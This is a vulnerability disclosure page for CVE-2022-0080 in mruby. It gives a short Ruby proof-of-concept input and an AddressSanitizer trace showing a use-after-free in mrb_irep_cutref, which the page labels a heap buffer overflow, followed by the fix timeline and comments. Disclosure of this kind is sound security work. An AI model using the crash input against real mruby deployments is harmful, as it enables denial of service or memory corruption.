Heap-based Buffer Overflow in mruby/mruby

Valid Reported on Dec 29th 2021

0

Description

Heap Base Buffer Overflow mrb_irep_cutref

Proof of Concept

```
( *a = () )
a.<<.take_while{ a.drop_while {Enumerable ; a<<lambda {}}}
```

Impact

```
mruby/bin/mirb ./cr
mirb - Embeddable Interactive Ruby Shell

 => nil
too many irep references (RuntimeError)
=================================================================
==990==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000000
READ of size 1 at 0x6070000003a6 thread T0
    #0 0x560e7e6acc2d in mrb_irep_cutref /root/master/asan_mruby/src/state.
    #1 0x560e7e6a6255 in obj_free /root/master/asan_mruby/src/gc.c:871
    #2 0x560e7e6a3871 in free_heap /root/master/asan_mruby/src/gc.c:433
    #3 0x560e7e6a38c9 in mrb_gc_destroy /root/master/asan_mruby/src/gc.c:44
    #4 0x560e7e6ad372 in mrb_close /root/master/asan_mruby/src/state.c:195
    #5 0x560e7e6299c6 in main /root/master/asan_mruby/mrbgems/mruby-bin-mir
    #6 0x7f0a1e25b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6
    #7 0x560e7e62648d in _start (/root/master/asan_mruby/bin/mirb+0xbe48d)

0x6070000003a6 is located 6 bytes inside of 72-byte region [
freed by thread T0 here:
```

Chat with us

```
    #0 0x7f0a1e6827cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.
    #1 0x560e7e6ac888 in mrb_default_allocf /root/master/asan_mruby/src/sta
    #2 0x560e7e6a2c4e in mrb_free /root/master/asan_mruby/src/gc.c:288

    #3 0x560e7e6ad27d in mrb_irep_free /root/master/asan_mruby/src/state.c:
    #4 0x560e7e6acbdc in mrb_irep_decref /root/master/asan_mruby/src/state.
    #5 0x560e7e6a6268 in obj_free /root/master/asan_mruby/src/gc.c:873
    #6 0x560e7e6a3871 in free_heap /root/master/asan_mruby/src/gc.c:433
    #7 0x560e7e6a38c9 in mrb_gc_destroy /root/master/asan_mruby/src/gc.c:44
    #8 0x560e7e6ad372 in mrb_close /root/master/asan_mruby/src/state.c:195
    #9 0x560e7e6299c6 in main /root/master/asan_mruby/mrbgems/mruby-bin-mir
    #10 0x7f0a1e25b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.

previously allocated by thread T0 here:
    #0 0x7f0a1e682ffe in __interceptor_realloc (/lib/x86_64-linux-gnu/libas
    #1 0x560e7e6ac8a2 in mrb_default_allocf /root/master/asan_mruby/src/sta
    #2 0x560e7e6a2923 in mrb_realloc_simple /root/master/asan_mruby/src/gc.
    #3 0x560e7e6a2a25 in mrb_realloc /root/master/asan_mruby/src/gc.c:240
    #4 0x560e7e6a2b12 in mrb_malloc /root/master/asan_mruby/src/gc.c:256
    #5 0x560e7e6ad3ff in mrb_add_irep /root/master/asan_mruby/src/state.c:2
    #6 0x560e7e72e1b3 in scope_add_irep /root/master/asan_mruby/mrbgems/mru
    #7 0x560e7e72e614 in scope_new /root/master/asan_mruby/mrbgems/mruby-co
    #8 0x560e7e71d505 in lambda_body /root/master/asan_mruby/mrbgems/mruby-
    #9 0x560e7e723b23 in codegen /root/master/asan_mruby/mrbgems/mruby-comp
    #10 0x560e7e7200d1 in gen_call /root/master/asan_mruby/mrbgems/mruby-co
    #11 0x560e7e725595 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #12 0x560e7e71f253 in gen_values /root/master/asan_mruby/mrbgems/mruby-
    #13 0x560e7e71fca9 in gen_call /root/master/asan_mruby/mrbgems/mruby-co
    #14 0x560e7e725595 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #15 0x560e7e722a47 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #16 0x560e7e71e83c in lambda_body /root/master/asan_mruby/mrbgems/mruby
    #17 0x560e7e723b23 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #18 0x560e7e7200d1 in gen_call /root/master/asan_mruby/mrbgems/mruby-co
    #19 0x560e7e725595 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #20 0x560e7e722a47 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #21 0x560e7e71e83c in lambda_body /root/master/asan_mruby/mrbgems/mruby
    #22 0x560e7e723b23 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #23 0x560e7e7200d1 in gen_call /root/master/asan_mruby/mrbgems/mruby-co
    #24 0x560e7e725595 in codegen /root/master/asan_mruby/mr
    #25 0x560e7e722a47 in codegen /root/master/asan_mruby/m
    #26 0x560e7e71ea4e in scope_body /root/master/asan_mruby/mrbgems/mruby-
```

Chat with us

```
    #27 0x560e7e725561 in codegen /root/master/asan_mruby/mrbgems/mruby-com
    #28 0x560e7e7306f0 in generate_code /root/master/asan_mruby/mrbgems/mru
    #29 0x560e7e730ac8 in mrb_generate_code /root/master/asan_mruby/mrbgems

SUMMARY: AddressSanitizer: heap-use-after-free /root/master/asan_mruby/src/
Shadow bytes around the buggy address:
  0x0c0e7fff8020: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fd fd
  0x0c0e7fff8030: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd
  0x0c0e7fff8040: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd
  0x0c0e7fff8050: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c0e7fff8060: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa
=>0x0c0e7fff8070: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fa fa fa
  0x0c0e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==990==ABORTING
```

Chat with us

CVE

CVE-2022-0080
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (8.2)

Visibility
Public

Status
Fixed

Found by

felling good man

@wiz123

unranked

Fixed by

Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 577 times.

We are processing your report and will contact the **mruby** team within 24 hours. a year ago

We have contacted a member of the **mruby** team and are waiting to hear back a year ago

Yukihiro "Matz" Matsumoto validated this vulnerability a year ago

felling good man has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in 3.1 with commit 28ccc6 a year ago

Chat with us

Yukihiro "Matz" Matsumoto marked this as fixed in 3.1 with commit 28ccc6 a year ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Robert Scott 7 months ago

This is also not fixed in 3.1.0-rc2

Robert Scott 7 months ago

^ Disregard.

Sign in to join this conversation

2022 © 418sec

Chat with us